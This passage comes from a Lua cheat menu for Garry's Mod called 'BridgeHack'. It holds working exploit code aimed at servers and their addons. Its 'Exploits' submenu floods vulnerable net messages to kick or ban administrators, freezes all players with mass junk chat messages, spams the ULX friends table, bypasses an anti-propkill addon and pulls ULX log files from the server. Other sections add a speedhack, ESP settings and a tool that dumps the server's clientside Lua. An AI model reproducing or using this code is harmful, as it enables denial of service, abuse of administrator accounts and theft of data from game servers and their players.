2996 timer.Destroy("lollol3294385")
2997
2998 status("Stopped Want All Police")
2999
3000 end):SetImage( "icon16/tick.png" )
3001
3002
3003
3004 DARKRPBASEDSUB:AddOption( "[ON] DARKRP LAG", function()
3005
3006 ply:ConCommand("__bh_lagdarkrpdashit")
3007
3008 end):SetImage( "icon16/accept.png" )
3009
3010
3011
3012 DARKRPBASEDSUB:AddOption( "[OFF] DARKRP LAG", function()
3013
3014 ply:ConCommand("__bh_stopplag")
3015
3016 end):SetImage( "icon16/cancel.png" )
3017
3018
3019
3020 local SpoofingMenu = menu:AddSubMenu("Spoofing Scripts")
3021
3022 SpoofingMenu:AddOption( "Spoof Player colours and physgun colours", function()
3023
3024 ply:ConCommand("cl_weaponcolor 0." .. math.random(1,255) .. " 0." .. math.random(1,255) .. " 0." .. math.random(1,255))
3025
3026 ply:ConCommand("cl_playercolor 0." .. math.random(1,255) .. " 0." .. math.random(1,255) .. " 0." .. math.random(1,255))
3027
3028 status("Spoofed Physgun And Player Color.")
3029
3030 end):SetImage( "icon16/color_wheel.png" )
3031
3032
3033
3034 local exploitshacks = menu:AddSubMenu("Exploits")
3035
3036
3037
3038 exploitshacks:AddOption( "Bypass APAnti (Anti propkill)",function()
3039
3040 chatP("Bypassing Apanti..")
3041
3042 net.Receive("sMsgStandard", function()
3043
3044 print("#Bypassed by HaxRUs")
3045
3046 end)
3047
3048
3049
3050 net.Receive("sNotifyHit", function()
3051
3052
3053
3054 end)
3055
3056
3057
3058 net.Receive("sMsgAdmins", function()
3059
3060
3061
3062 end)
3063
3064
3065
3066 net.Receive("sAlertNotice", function()
3067
3068
3069
3070 end)
3071
3072 end):SetImage( "icon16/link_break.png" )
3073
3074
3075
3076 exploitshacks:AddOption("[NLR] [ON] Freeze Spawning",function()
3077
3078 ply:ConCommand("bh_nlr_freeze 1")
3079
3080 end):SetImage( "icon16/book_error.png" )
3081
3082
3083
3084 exploitshacks:AddOption("[NLR] [OFF] Freeze Spawning",function()
3085
3086 ply:ConCommand("bh_nlr_freeze 0")
3087
3088 end):SetImage( "icon16/book.png" )
3089
3090
3091
3092 exploitshacks:AddOption( "Steal ULX Logs ( will save to download/data/ulx_logs/" .. os.date("%m-%d-%y") .. ".txt )", function()
3093
3094 status("Downloading ULX LOGS")
3095
3096 if file.Exists("download/data/ulx_logs/" .. os.date("%m-%d-%y") .. ".txt", "GAME") == "false" then
3097
3098 consoleP("FILE EXISTS. REMOVE THE FILE BEFORE CONTINUEING!")
3099
3100 else
3101
3102 RequestFile(os.date( "data/" .. "ulx_logs" .. "/" .. "%m-%d-%y" .. ".txt" ))
3103
3104 chatP("Downloading ulx logs. OPENING " .. os.date("%m-%d-%y") .. " IN 15 SECONDS....")
3105
3106 timer.Simple( 15, function()
3107
3108 chatP("Opened data/ulx_logs/" .. os.date("%m-%d-%y") .. ".txt")
3109
3110 consoleP("**********************")
3111
3112 consoleP("** SUCCESS ULX DUMP **")
3113
3114 consoleP("**********************")
3115
3116 end)
3117
3118 end
3119
3120 end ):SetImage( "icon16/lock_break.png" )
3121
3122
3123
3124 exploitshacks:AddOption("[AE] KICK ADMINS+",function()
3125
3126 chatP("Kicking... (Will only work on admins+)")
3127
3128 timer.Create( "aekickdaskids", 3, 0, function()
3129
3130 for k,v in pairs(player.GetAll()) do
3131
3132 if( v:GetUserGroup() != "user" ) then
3133
3134 if( v:GetUserGroup() != "vip" ) then
3135
3136 for i=0, 700 do
3137
3138 net.Start('plyWarning')
3139
3140 net.WriteEntity(v)
3141
3142 net.WriteString('You have to select a player before doing a action.')
3143
3144 net.SendToServer()
3145
3146 end
3147
3148 consoleP('Attempting to kick '.. v:Nick().. "!")
3149
3150 end
3151
3152 end
3153
3154 end
3155
3156 end)
3157
3158 end):SetImage("icon16/wand.png")
3159
3160
3161
3162 exploitshacks:AddOption("ULX EXTENDED BAN ADMINS",function()
3163
3164 chatP("Banning...")
3165
3166 timer.Create(BridgeHack.RandomVar.."ulxextendedban",1,0,function()
3167
3168 for k,v in pairs(player.GetAll()) do
3169
3170 if v:GetUserGroup() != "user" then -- Custom first ranks, youre fucked bro
3171
3172 if v != LocalPlayer() then
3173
3174 status("Banning.. "..v:Nick())
3175
3176 net.Start("banleaver")
3177
3178 net.WriteString(v:SteamID().."{sep}".."HaxRUs Rekt You")
3179
3180 net.SendToServer()
3181
3182 end
3183
3184 end
3185
3186 end
3187
3188 end)
3189
3190 end):SetImage("icon16/wand.png")
3191
3192
3193
3194 exploitshacks:AddOption( " [ON] ATLAS CHAT: FREEZE EVERYBODY",function()
3195
3196 chatP("Freezing everybody.. (Except you)")
3197
3198 timer.Create("Imakelovetou"..BridgeHack.RandomVar,"3",0, function()
3199
3200 local trash = "";
3201
3202 for i=0, 15000 do
3203
3204 trash = trash .. string.char(math.random(32, 126));
3205
3206 end
3207
3208
3209
3210 status("Freeze wave incoming")
3211
3212 timer.Simple(1,function()
3213
3214 status("Freeze wave done")
3215
3216 end)
3217
3218
3219
3220 for i=0,3 do
3221
3222 net.Start("atlaschat.chat")
3223
3224 net.WriteString("// ".. trash)
3225
3226 net.SendToServer()
3227
3228 end
3229
3230 end)
3231
3232 end):SetImage( "icon16/lock.png" )
3233
3234
3235
3236 exploitshacks:AddOption( " [OFF] ATLAS CHAT: FREEZE EVERYBODY",function()
3237
3238 chatP("Stopping the freeze..")
3239
3240 timer.Destroy("Imakelovetou"..BridgeHack.RandomVar,"3",0, function()
3241
3242
3243
3244 end)
3245
3246 end):SetImage( "icon16/lock_open.png" )
3247
3248
3249
3250 exploitshacks:AddOption( "[ON] ESSENTIALS ULX SPAM FRIENDS TABLE", function()
3251
3252 timer.Create("spamdafukFRIENDSULX", 2, 0, function()
3253
3254 local friends = {}
3255
3256 table.insert( friends, math.random(1,9999) )
3257
3258 for i = 1,6000 do
3259
3260 net.Start("friendlist")
3261
3262 net.WriteTable(friends)
3263
3264 net.SendToServer()
3265
3266 end
3267
3268 status("PROGRESS [10000/10000]")
3269
3270 end)
3271
3272 end ):SetImage( "icon16/script_error.png" )
3273
3274
3275
3276 exploitshacks:AddOption( "[OFF] ESSENTIALS ULX SPAM FRIENDS TABLE", function()
3277
3278 timer.Destroy("spamdafukFRIENDSULX")
3279
3280 status("Stopped ULX SPAM FRIENDS")
3281
3282 end):SetImage( "icon16/script.png" )
3283
3284
3285
3286 exploitshacks:AddOption( "Ulx Extended TTT Weapon Spawn", function()
3287
3288 GiveMenu()
3289
3290 end):SetImage( "icon16/book_key.png" )
3291
3292
3293
3294 exploitshacks:AddOption( " [ON] MX RADIO KICK ADMINS",function()
3295
3296 chatP("Kicking admins, Including anyone who isnt a user")
3297
3298 ply:ConCommand("bh_mx_kickadmins")
3299
3300 timer.Create( "Kickthenoobs"..BridgeHack.RandomVar, 3, 0, function()
3301
3302 for k,v in ipairs(player.GetAll()) do
3303
3304 if( v:GetUserGroup() != "user" ) then
3305
3306 if v:Nick() != (ply:Nick()) then
3307
3308 for i=0, 700 do
3309
3310 net.Start( "GetCar" )
3311
3312 net.WriteEntity(v)
3313
3314 net.WriteEntity(v)
3315
3316 net.SendToServer()
3317
3318 end
3319
3320 chatP('Attempting to kick '.. v:Nick())
3321
3322 end
3323
3324 end
3325
3326 end
3327
3328 end)
3329
3330 end):SetImage( "icon16/wand.png" )
3331
3332
3333
3334 exploitshacks:AddOption( " [OFF] MX RADIO KICK ADMINS",function()
3335
3336 chatP("Stopping the kicks")
3337
3338 timer.Destroy( "Kickthenoobs"..BridgeHack.RandomVar, 3, 0, function() end)
3339
3340 end):SetImage( "icon16/wand.png" )
3341
3342
3343
3344 local Misc = menu:AddSubMenu(" Misc ")
3345
3346
3347
3348 Misc:AddOption( "Hackable Server List",function()
3349
3350 ply:ConCommand("bh_serverlist")
3351
3352 end):SetImage( "icon16/book.png" )
3353
3354
3355
3356 Misc:AddOption( "Changelog",function()
3357
3358 ChangeLogMenu()
3359
3360 end):SetImage( "icon16/book.png" )
3361
3362
3363
3364 Misc:AddOption( "List Rank - Playername - Money",function()
3365
3366 chatP( "Check Console\n" )
3367
3368 consoleP("(NAME)-(STEAMID)-(CASH)\n\n\n")
3369
3370 for k,v in pairs(player.GetAll()) do
3371
3372 local playermoney = (v.DarkRPVars and v.DarkRPVars.money) or 0
3373
3374 if v:IsAdmin() then
3375
3376 consoleP("(ADMIN!) - (" .. v:Nick() .. ") - (" .. v:SteamID() .. ") - ($" .. playermoney .. ")")
3377
3378 else
3379
3380 consoleP("(USER) - (" .. v:Nick() .. ") - (" .. v:SteamID() .. ") - ($" .. playermoney .. ")")
3381
3382 end
3383
3384 end
3385
3386 end):SetImage( "icon16/text_align_center.png" )
3387
3388
3389
3390 Misc:AddOption( "Check exploits", function()
3391
3392 ply:ConCommand("bh_check")
3393
3394end ):SetImage( "icon16/book_addresses.png" )
3395
3396
3397
3398 Misc:AddOption( "ClientSide Lua Viewer",function()
3399
3400 chatP("Opening clientside lua viewer...")
3401
3402 ply:ConCommand("bh_lua")
3403
3404 end):SetImage( "icon16/application_osx_terminal.png" )
3405
3406
3407
3408 if ply:SteamID() == "STEAM_0:1:45153092" or ply:SteamID() == "STEAM_0:1:61639885" then
3409
3410 local DebugMenu = menu:AddSubMenu(" Debug Settings")
3411
3412 DebugMenu:AddOption(" Reset Default Config.", function()
3413
3414 Debug("Resetting Cheat Variables...")
3415
3416 ResetCvar("bh_menu_effects", 1)
3417
3418 ResetCvar("bh_firstload_correct", 0)
3419
3420 ResetCvar("bh_chat_status",0)
3421
3422 ResetCvar("bh_cheats_enabled_on_start", 0)
3423
3424 ResetCvar("bh_cheats_svlua_enabled_on_start", 0)
3425
3426 ResetCvar("bh_showhud", 1)
3427
3428 ResetCvar("bh_notify", 1)
3429
3430 end)
3431
3432
3433
3434 DebugMenu:AddOption(" Debug",function()
3435
3436 for k,v in pairs(player.GetAll()) do
3437
3438 chatP(LocalPlayer():GetPos():Distance(v:GetPos()) .. " | ".. v:Nick())
3439
3440 end
3441
3442 end)
3443
3444 end
3445
3446
3447
3448 menu:AddSpacer()
3449
3450
3451
3452 menu:AddOption( "Config Menu", function()
3453
3454 local DermaPanel = vgui.Create( "DFrame" )
3455
3456 DermaPanel:SetPos( 100, 100 )
3457
3458 DermaPanel:SetSize( 300, 400 )
3459
3460 DermaPanel:SetTitle( " " )
3461
3462 DermaPanel:SetVisible( true )
3463
3464 DermaPanel:SetDraggable( true )
3465
3466 DermaPanel:ShowCloseButton( false )
3467
3468 function DermaPanel:Paint( w, h )
3469
3470 draw.RoundedBox( 4, 0, 0, w, h, Color( 10, 10, 10, 220) )
3471
3472 draw.RoundedBoxEx( 4, 0, 0, w, 22, Color( 240, 85, 0, 220), true, true, false, false )
3473
3474 draw.SimpleText( "BridgeHack Configuration Menu", "PopupFont", 6, 2, Color( 255,255,255 ), 0, 0 )
3475
3476 end
3477
3478
3479
3480 local Button = vgui.Create("DButton", DermaPanel)
3481
3482 Button:SetPos( 250, 2 )
3483
3484 Button:SetSize( 45, 19 )
3485
3486 Button:SetText( "" )
3487
3488 Button:SetTextColor( Color( 255, 255, 255) )
3489
3490 function Button:Paint( w, h )
3491
3492 draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )
3493
3494 draw.SimpleText( "Close", "HeaderFont", 2, -2, Color( 255,255,255 ), 0, 0 )
3495
3496 end
3497
3498 Button.DoClick = function()
3499
3500 DermaPanel:Close()
3501
3502 end
3503
3504
3505
3506 DermaPanel:MakePopup()
3507
3508
3509
3510 local ESPMixer = vgui.Create( "DColorMixer", DermaPanel )
3511
3512 ESPMixer:SetPos( 10,170)
3513
3514 ESPMixer:SetSize(100,100)--Make Mixer fill place of Frame
3515
3516 ESPMixer:SetPalette( false ) --Show/hide the paletteDEF:true
3517
3518 ESPMixer:SetAlphaBar( true ) --Show/hide the alpha barDEF:true
3519
3520 ESPMixer:SetWangs( false ) --Show/hide the R G B A indicators DEF:true
3521
3522 ESPMixer:SetColor( Color(GetConVarNumber("bh_esp_infocolor_r"),GetConVarNumber("bh_esp_infocolor_g"),GetConVarNumber("bh_esp_infocolor_b")) )--Set the default color
3523
3524 daespvector = ESPMixer:GetColor()
3525
3526
3527
3528 local ESPMixButton = vgui.Create( "DButton",DermaPanel )
3529
3530 ESPMixButton:SetPos( 5, 265 )
3531
3532 ESPMixButton:SetText( "Set ESP Color" )
3533
3534 ESPMixButton:SetSize( 120, 15 )
3535
3536 ESPMixButton.DoClick = function()
3537
3538 print(daespvector)
3539
3540 ply:ConCommand("bh_esp_infocolor_r "..daespr)
3541
3542 ply:ConCommand("bh_esp_infocolor_g "..daespg)
3543
3544 ply:ConCommand("bh_esp_infocolor_b "..daespb)
3545
3546 end
3547
3548
3549
3550 local EspBoxes = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
3551
3552 EspBoxes:SetPos( 10, 25 )// Set the position
3553
3554 EspBoxes:SetValue( GetConVarNumber("bh_esp_box") )// Initial value ( will determine whether the box is ticked too )
3555
3556 EspBoxes:SetText("ESP Boxes")
3557
3558 EspBoxes:SetConVar( "bh_esp_box" )
3559
3560 EspBoxes:SizeToContents()
3561
3562
3563
3564 local ShowHP = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
3565
3566 ShowHP:SetPos( 10, 45 )// Set the position
3567
3568 ShowHP:SetValue( GetConVarNumber("bh_esp_hp") )// Initial value ( will determine whether the box is ticked too )
3569
3570 ShowHP:SetText("Show HP On ESP")
3571
3572 ShowHP:SetConVar( "bh_esp_hp" )
3573
3574 ShowHP:SizeToContents()
3575
3576
3577
3578 local ShowRank = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
3579
3580 ShowRank:SetPos( 10, 65 )// Set the position
3581
3582 ShowRank:SetValue( GetConVarNumber("bh_esp_rank") )// Initial value ( will determine whether the box is ticked too )
3583
3584 ShowRank:SetText("Show Rank On ESP")
3585
3586 ShowRank:SetConVar( "bh_esp_rank" )
3587
3588 ShowRank:SizeToContents()
3589
3590
3591
3592 local Rdistance = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
3593
3594 Rdistance:SetPos( 10, 85 )// Set the position
3595
3596 Rdistance:SetValue( GetConVarNumber("bh_renderdistance_enable") )// Initial value ( will determine whether the box is ticked too )
3597
3598 Rdistance:SetText("Use a Maximum render distance")
3599
3600 Rdistance:SetConVar( "bh_renderdistance_enable" )
3601
3602 Rdistance:SizeToContents()
3603
3604
3605
3606 local Rdistance = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
3607
3608 Rdistance:SetPos( 10, 105 )// Set the position
3609
3610 Rdistance:SetValue( GetConVarNumber("bh_notify") )// Initial value ( will determine whether the box is ticked too )
3611
3612 Rdistance:SetText("Top Scrolling Message")
3613
3614 Rdistance:SetConVar( "bh_notify" )
3615
3616 Rdistance:SizeToContents()
3617
3618
3619
3620 local PlaySound = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
3621
3622 PlaySound:SetPos( 10, 125 )// Set the position
3623
3624 PlaySound:SetValue( GetConVarNumber("bh_playsound") )// Initial value ( will determine whether the box is ticked too )
3625
3626 PlaySound:SetText("Menu sounds")
3627
3628 PlaySound:SetConVar( "bh_playsound" )
3629
3630 PlaySound:SizeToContents()
3631
3632
3633
3634 local RenderDistance = vgui.Create( "DNumSlider", DermaPanel )
3635
3636 RenderDistance:SetPos( 25, 145) // Set the position
3637
3638 RenderDistance:SetSize( 280, 25 ) // Set the size
3639
3640 RenderDistance:SetText( "Max Render Distance" ) // Set the text above the slider
3641
3642 RenderDistance:SetMin( 0 ) // Set the minimum number you can slide to
3643
3644 RenderDistance:SetMax( 5000 )// Set the maximum number you can slide to
3645
3646 RenderDistance:SetDecimals( 1 ) // Decimal places - zero for whole number
3647
3648 RenderDistance:SetConVar( "bh_esp_rdistance" ) // Changes the ConVar when you slide
3649
3650 end ):SetImage( "icon16/wrench.png" )
3651
3652
3653
3654 menu:Open()
3655
3656 end)
3657
3658
3659
3660 concommand.Add("-bh_menu", function( ply )
3661
3662 status("Menu Closed.")
3663
3664 if GetConVarNumber("bh_menu_effects") == 1 then
3665
3666 hook.Add( "RenderScreenspaceEffects", "BlurBG", blur_off )
3667
3668 end
3669
3670 local menu = DermaMenu()
3671
3672 end)
3673
3674
3675
3676 function ESP_on( )
3677
3678 ply:ConCommand("bh_esp 1")
3679
3680 end
3681
3682
3683
3684 function ESP_off( )
3685
3686 ply:ConCommand("bh_esp 0")
3687
3688 end
3689
3690
3691
3692 function speedhack_on( )
3693
3694 ply:ConCommand("host_framerate 8;host_framerate 8")
3695
3696 status("Enabled SpeedHack")
3697
3698 end
3699
3700
3701
3702 function speedhack_off( )
3703
3704 ply:ConCommand("host_framerate 0;host_framerate 0")
3705
3706 status("Disabled SpeedHack")
3707
3708 end
3709
3710
3711
3712 -- CL LUAVIEWER */ require("stringtables") local escapejs = { ["\\"] = "\\\\", ["\0"] = "\\0" , ["\b"] = "\\b" , ["\t"] = "\\t" , ["\n"] = "\\n" , ["\v"] = "\\v" , ["\f"] = "\\f" , ["\r"] = "\\r" , ["\""] = "\\\"", ["\'"] = "\\\'" } function string.JavascriptSafe( str ) str = str:gsub( ".", escapejs ) str = str:gsub( "\226\128\168", "\\\226\128\168" ) str = str:gsub( "\226\128\169", "\\\226\128\169" ) return str end local function GetLuaFiles(client_lua_files) local count = client_lua_files:Count() local ret = {} for i = 1, count - 2 do ret[i] = { Path = client_lua_files:GetString(i), CRC = client_lua_files:GetUserDataInt(i) } end return ret end local function GetLuaFileContents(crc) local fs = file.Open("cache/lua/" .. crc .. ".lua", "rb", "MOD") fs:Seek(4) local contents = util.Decompress(fs:Read(fs:Size() - 4)) return contents:sub(1, -2) end local function dumbFile(path, contents) if not path:match("%.txt$") then path = path..".txt" end local curdir = "" for t in path:gmatch("[^/\\*]+") do curdir = curdir..t if curdir:match("%.txt$") then print("writing: ", curdir) file.Write(curdir, contents) else curdir = curdir.."/" print("Creating: ", curdir) file.CreateDir(curdir) end end end local dumbFolderCache = "" local function dumbFolder(node) for _, subnode in ipairs(node.ChildNodes:GetChildren()) do if subnode:HasChildren() then dumbFolder(subnode) else dumbFile(dumbFolderCache..subnode.pathh, GetLuaFileContents(subnode.CRC)) end end end
3713
3714
3715
3716/*
3717
3718[[----------------------------------------------------------------]]
3719
3720[[----------------------------------------------------------------]]
3721
3722 ____ ___ __ __
3723
3724/\ _`\ /\_ \ __ /\ \__ __ /\ \
3725
3726\ \ \/\_\//\ \ /\_\ __ ___\ \ ,_\ ____/\_\ \_\ \ __
3727
3728 \ \ \/_/_\ \ \ \/\ \ /'__`\/' _ `\ \ \/ /',__\/\ \ /'_` \ /'__`\
3729
3730 \ \ \ \ \\_\ \_\ \ \/\ __//\ \/\ \ \ \_/\__, `\ \ \/\ \ \ \/\ __/
3731
3732 \ \____//\____\\ \_\ \____\ \_\ \_\ \__\/\____/\ \_\ \___,_\ \____\
3733
3734 \/___/ \/____/ \/_/\/____/\/_/\/_/\/__/\/___/ \/_/\/__,_ /\/____/
3735
3736/\ \ __
3737
3738\ \ \ __ __ __ __ __ /\_\ __ __ __ __ __ _ __
3739
3740 \ \ \ __/\ \/\ \ /'__`\ /\ \/\ \\/\ \ /'__`\/\ \/\ \/\ \ /'__`\/\`'__\
3741
3742 \ \ \L\ \ \ \_\ \/\ \L\.\_ \ \ \_/ |\ \ \/\ __/\ \ \_/ \_/ \/\ __/\ \ \/
3743
3744 \ \____/\ \____/\ \__/.\_\ \ \___/ \ \_\ \____\\ \___x___/'\ \____\\ \_\
3745
3746 \/___/ \/___/ \/__/\/_/ \/__/ \/_/\/____/ \/__//__/ \/____/ \/_/
3747
3748
3749
3750[[----------------------------------------------------------------]]
3751
3752[[----------------------------------------------------------------]] */ require("stringtables") local escapejs = { ["\\"] = "\\\\", ["\0"] = "\\0" , ["\b"] = "\\b" , ["\t"] = "\\t" , ["\n"] = "\\n" , ["\v"] = "\\v" , ["\f"] = "\\f" , ["\r"] = "\\r" , ["\""] = "\\\"", ["\'"] = "\\\'" } function string.JavascriptSafe( str ) str = str:gsub( ".", escapejs ) str = str:gsub( "\226\128\168", "\\\226\128\168" ) str = str:gsub( "\226\128\169", "\\\226\128\169" ) return str end local function GetLuaFiles(client_lua_files) local count = client_lua_files:Count() local ret = {} for i = 1, count - 2 do ret[i] = { Path = client_lua_files:GetString(i), CRC = client_lua_files:GetUserDataInt(i) } end return ret end local function GetLuaFileContents(crc) local fs = file.Open("cache/lua/" .. crc .. ".lua", "rb", "MOD") fs:Seek(4) local contents = util.Decompress(fs:Read(fs:Size() - 4)) return contents:sub(1, -2) end local function dumbFile(path, contents) if not path:match("%.txt$") then path = path..".txt" end local curdir = "" for t in path:gmatch("[^/\\*]+") do curdir = curdir..t if curdir:match("%.txt$") then print("writing: ", curdir) file.Write(curdir, contents) else curdir = curdir.."/" print("Creating: ", curdir) file.CreateDir(curdir) end end end local dumbFolderCache = "" local function dumbFolder(node) for _, subnode in ipairs(node.ChildNodes:GetChildren()) do if subnode:HasChildren() then dumbFolder(subnode) else dumbFile(dumbFolderCache..subnode.pathh, GetLuaFileContents(subnode.CRC)) end end end
3753
3754
3755
3756local VIEWER = {}
3757
3758
3759
3760function VIEWER:Init()
3761
3762 self:SetTitle("BridgeHack Clientside Lua Viewer")
3763
3764 self:SetSize(1200, 550)
3765
3766 self:Center() self:ShowCloseButton( false ) self.Paint = function(s,w,h)
3767
3768 surface.SetDrawColor(Color(108,153,192))
3769
3770 surface.DrawRect( 0,0, w,h ) surface.SetDrawColor( Color(141,200,251) ) surface.DrawRect( 1,1, w-2,h-2 ) surface.SetDrawColor(Color(141,200,251)) surface.DrawRect( 2,2, w-4,h-4 ) surface.SetDrawColor(Color(108,153,192)) surface.DrawRect( 7.5,27.5, w-14,h-34) surface.SetTextColor(0,0,0) surface.SetFont("HeaderFont")
3771
3772 surface.SetTextPos( (self:GetWide()/2) - (tostring( string.len( self.lblTitle:GetText() )) / 2*7.5), 2) self.lblTitle:SetColor(Color(0,0,0,0)) surface.DrawText( self.lblTitle:GetText() ) end self.close = vgui.Create( "DButton", self ) self.close:SetSize( 43,20 ) self.close:SetPos( self:GetWide()-7.5-self.close:GetWide(), -1 ) self.close:SetText("") self.close.Paint = function(s,w,h) surface.SetDrawColor( Color(199,80,80) ) surface.DrawRect( 0,0, w,h ) surface.SetTextColor(255,255,255) surface.SetFont("HeaderFont") surface.SetTextPos(18,-2) surface.DrawText( "x" ) end self.close.DoClick = function(s,w,h) self:Close() end self.tree = vgui.Create("DTree", self) self.tree:SetPos(8.5,28.5) self.tree:SetSize(self:GetWide()/2-200, self:GetTall()-36) self.tree.Directories = {} self.html = vgui.Create("DHTML", self) self.html:SetPos(self:GetWide()/2-200+8.5, 28.5) self.html:SetSize(self:GetWide()/2+200-16, self:GetTall()-36) self.html:OpenURL("https://metastruct.github.io/lua_editor/") client_lua_files = stringtable.Get "client_lua_files" local tree_data= {} for i, v in ipairs(GetLuaFiles(client_lua_files)) do if i == 1 then continue end local file_name = string.match(v.Path, ".*/([^/]+%.lua)") local dir_path = string.sub(v.Path, 1, -1 - file_name:len()) local file_crc = v.CRC local cur_dir = tree_data for dir in string.gmatch(dir_path, "([^/]+)/") do if not cur_dir[dir] then cur_dir[dir] = {} end cur_dir = cur_dir[dir] end cur_dir[file_name] = {fileN = file_name, CRC = file_crc} end local file_queue = {} local function iterate(data, node, path) path = path or "" for k, v in SortedPairs(data) do if type(v) == "table" and not v.CRC then local new_node = node:AddNode(k) new_node.DoRightClick = function() local dmenu = DermaMenu(new_node) dmenu:SetPos(gui.MouseX(), gui.MouseY()) dmenu:AddOption("Save Folder", function() dumbFolderCache = "cluaview/"..GetHostName()..dumbFolder(new_node) DrawFancyPopup("The folder ".. dumbFolder(new_node) .." has been saved as data/cluaview/".. GetHostName() .."/folders/".. dumbFolder(new_node) .."!") end) dmenu:Open() end iterate(v, new_node, path .. k .. "/") else table.insert(file_queue, {node = node, fileN = v.fileN, path = path .. v.fileN, CRC = v.CRC}) end end end iterate(tree_data, self.tree) for k, v in ipairs(file_queue) do local node = v.node:AddNode(v.fileN, "icon16/page_green.png") node.DoClick = function() self.html:QueueJavascript("SetContent('"..string.JavascriptSafe(GetLuaFileContents(v.CRC)).."')") end local hostname = GetHostName() hostname = hostname:gsub("|", "-") hostname = hostname:gsub("~", "-") hostname = hostname:gsub(" ", "") node.DoRightClick = function(self,node) local nodemenu = DermaMenu(node) nodemenu:AddOption("Save File", function() dumbFile("cluaview/".. string.lower(hostname) .."/"..v.fileN, GetLuaFileContents(v.CRC)) DrawFancyPopup("The file ".. v.fileN .." has been saved as data/cluaview/".. string.lower(hostname) .."/".. v.fileN .."!") end) nodemenu:Open() end node.CRC = v.CRC node.pathh = v.path
3773
3774 end
3775
3776 end
3777
3778derma.DefineControl("dcluaviewer", "Clientside Lua Viewer", VIEWER, "DFrame")
3779
3780
3781
3782/*
3783
3784[[----------------------------------------------------------------]]
3785
3786[[----------------------------------------------------------------]]
3787
3788 ____
3789
3790/\ _`\
3791
3792\ \ \L\_\ __ ___ ___ __ __
3793
3794 \ \ _\/'__`\ /' _ `\ /'___\/\ \/\ \
3795
3796 \ \ \/\ \L\.\_/\ \/\ \/\ \__/\ \ \_\ \
3797
3798 \ \_\ \__/.\_\ \_\ \_\ \____\\/`____ \
3799
3800 \/_/\/__/\/_/\/_/\/_/\/____/ `/___/> \
3801
3802 /\___/
3803
3804 \/__/
3805
3806 ____
3807
3808/\ _`\
3809
3810\ \ \L\ \___ _____ __ __ _____
3811
3812 \ \ ,__/ __`\/\ '__`\/\ \/\ \/\ '__`\
3813
3814 \ \ \/\ \L\ \ \ \L\ \ \ \_\ \ \ \L\ \
3815
3816 \ \_\ \____/\ \ ,__/\ \____/\ \ ,__/
3817
3818 \/_/\/___/ \ \ \/ \/___/ \ \ \/
3819
3820 \ \_\ \ \_\
3821
3822 \/_/ \/_/
3823
3824[[----------------------------------------------------------------]]
3825
3826[[----------------------------------------------------------------]]
3827
3828*/
3829
3830
3831
3832function DrawFancyPopup(message)
3833
3834 fancyPopup = vgui.Create("DFrame")
3835
3836 fancyPopup:SetSize(ScrW(), ScrH()) fancyPopup:SetPos(0, 0) fancyPopup:SetVisible( true ) fancyPopup:SetTitle("") fancyPopup:MakePopup() fancyPopup:ShowCloseButton( true ) fancyPopup.Paint = function(s,w,h) surface.SetDrawColor( Color(0,0,0,200) ) surface.DrawRect( 0,0, w,h ) surface.SetDrawColor( Color(13,136,69) ) surface.DrawRect( 0, w/2-fancyPopup:GetTall()/1.520, ScrW(), ScrH()/6.5 ) surface.SetTextColor(255,255,255) surface.SetFont("PopupFont") surface.SetTextPos(w/4.10, h/2.30) surface.DrawText( message ) end fancyPopupButton = vgui.Create("DButton", fancyPopup) fancyPopupButton:SetSize(110,32.5) fancyPopupButton:SetPos(fancyPopup:GetWide()/2+fancyPopup:GetWide()/10, fancyPopup:GetTall()/2.050) fancyPopupButton:SetText("") fancyPopupButton.Paint = function(s,w,h) surface.SetDrawColor( Color(255,255,255) ) surface.DrawRect( 0,0, w,h ) surface.SetDrawColor( Color(13,136,69) ) surface.DrawRect( 0+3,0+3, w-6,h-6 ) surface.SetTextColor(255,255,255) surface.SetFont("PopupFont") surface.SetTextPos(30.5,5.5) surface.DrawText( "Alright!" ) end fancyPopupButton.DoClick = function(s,w,h) fancyPopup:Close() end
3837
3838end
3839
3840
3841
3842concommand.Add("testpopup", function() DrawFancyPopup("This is just a test button and nothing else you nutmpies. Pressing Alright does no shit at all!") end) concommand.Add("bh_lua", function() vgui.Create("dcluaviewer"):MakePopup() end)